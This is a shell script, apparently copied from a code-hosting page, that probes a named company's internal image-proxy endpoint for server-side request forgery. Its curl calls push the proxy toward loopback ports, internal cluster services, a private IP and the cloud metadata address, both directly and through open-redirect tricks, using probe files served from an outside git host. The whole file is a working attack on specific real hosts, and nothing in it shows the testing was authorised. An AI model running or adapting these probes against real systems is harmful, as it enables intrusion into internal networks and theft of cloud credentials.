48 lines
2.3 KiB
Bash
48 lines
2.3 KiB
Bash
#!/bin/sh
|
|
# Intent 20337 step 5: characterize /api/imageProxy URL validation + SSRF bypasses.
|
|
|
|
C="curl -sk -m 15 --connect-timeout 4"
|
|
T=/tmp/rt20337e
|
|
mkdir -p "$T" 2>/dev/null
|
|
R=https://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master
|
|
|
|
ipx() {
|
|
h="$1"; u="$2"; tag="$3"
|
|
$C -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download} %{content_type}" --get --data-urlencode "url=$u" "https://$h/api/imageProxy" >"$T/s" 2>"$T/e"
|
|
echo "### $tag [$h]"
|
|
echo " url=$u"
|
|
echo " -> $(cat "$T/s" 2>/dev/null)"
|
|
grep -iE '^(content-type|content-security-policy|location|server):' "$T/h" 2>/dev/null | tr -d '\r' | head -4
|
|
head -c 200 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
H=retooldata.private.paystack.co
|
|
echo "== VALIDATION MATRIX $H"
|
|
ipx $H "$R/rt.svg" "svg-baseline"
|
|
ipx $H "$R/rt.png" "png-missing"
|
|
ipx $H "$R/rt.svg?foo=bar" "svg-query"
|
|
ipx $H "$R/rt.svg#frag" "svg-frag"
|
|
ipx $H "http://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master/rt.svg" "http-scheme"
|
|
ipx $H "https://127.0.0.1:3000/api/checkHealth.svg" "lo-ext"
|
|
ipx $H "https://127.0.0.1:3000/api/checkHealth?f=.svg" "lo-queryext"
|
|
ipx $H "https://10.100.80.162/api/checkHealth.svg" "ceip-ext"
|
|
ipx $H "https://retooldata-code-executor.data-platform.svc.cluster.local/api/checkHealth.svg" "cesvc-ext"
|
|
ipx $H "https://169.254.169.254/latest/meta-data/x.svg" "imds-ext"
|
|
ipx $H "https://[::1]:3000/api/checkHealth.svg" "v6lo-ext"
|
|
|
|
echo "== REDIRECT TESTS $H"
|
|
ipx $H "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A3000%2Fapi%2FcheckHealth" "redir-lo"
|
|
ipx $H "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A3000%2Fapi%2FcheckHealth&f=.svg" "redir-lo-ext"
|
|
ipx $H "https://httpbin.org/redirect-to?url=http%3A%2F%2Fretooldata-code-executor.data-platform.svc.cluster.local%2Fapi%2FcheckHealth&f=.svg" "redir-ce-ext"
|
|
ipx $H "https://httpbin.org/redirect-to?url=http%3A%2F%2F10.100.80.162%2Fapi%2FcheckHealth&f=.svg" "redir-ceip-ext"
|
|
ipx $H "https://httpbin.org/redirect-to?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F&f=.svg" "redir-imds-ext"
|
|
|
|
echo "== SECOND INSTANCE retool"
|
|
H2=retool.private.paystack.co
|
|
ipx $H2 "$R/rt.svg" "svg-baseline"
|
|
ipx $H2 "$R/rt.txt" "txt"
|
|
ipx $H2 "https://127.0.0.1:3000/api/checkHealth.svg" "lo-ext"
|
|
ipx $H2 "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A3000%2Fapi%2FcheckHealth&f=.svg" "redir-lo-ext"
|
|
|
|
echo "RT5DONE"
|